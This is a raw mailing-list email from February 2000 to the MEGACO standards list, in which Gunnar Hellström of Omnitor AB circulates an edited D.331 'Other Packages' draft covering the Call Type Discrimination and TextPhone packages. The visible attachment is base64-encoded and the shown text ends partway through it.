          v1.1a) with SMTP id <0.395FD0A0@standards.nortelnetworks.com>; Sat,
          12 Feb 2000 16:14:22 -0500
Received: from pigpen (fra-pci-lai-vty159.as.wcom.net [212.211.70.159]) by
          mail.pi.se (8.8.8/8.8.8) with SMTP id WAA07962 for
          ; Sat, 12 Feb 2000 22:16:32
          +0100 (MET)
MIME-Version: 1.0
Content-Type: multipart/mixed;
              boundary="----=_NextPart_000_0007_01BF75A6.A6663400"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Message-ID:  
Date:         Sat, 12 Feb 2000 22:15:20 +0100
Reply-To: Gunnar Hellstrom 
Sender: "Media Gateway Control (megaco)"
              
From: Gunnar Hellstrom 
Subject:      Other packages for discussion
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01BF75A6.A6663400
Content-Type: text/plain;
        charset="Windows-1252"
Content-Transfer-Encoding: 8bit

Attached is a slightly edited D.331 "Other Packages" document for the Q.14 /
Q.4 / Q.9 discussions. The main areas of change are in the Call Type
Discrimination package and in the TextPhone package.

Regards
______________________________________
Gunnar Hellström
Omnitor AB
Alsnögatan 7, 4tr
S-116 41 Stockholm
Sweden

Mob +46 708 204 288
Tel +46 8 556 002 03
Fax +46 8 556 002 06
Video +46 8 556 002 05
Txt (All kinds) +46 8 556 002 05
E-mail gunnar.hellstrom@omnitor.se
WWW:     http://www.omnitor.se

------=_NextPart_000_0007_01BF75A6.A6663400
Content-Type: application/x-zip-compressed;
        name="331_otherpackagesGH.zip"
Content-Disposition: attachment;
        filename="331_otherpackagesGH.zip"
Content-Transfer-Encoding: base64

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
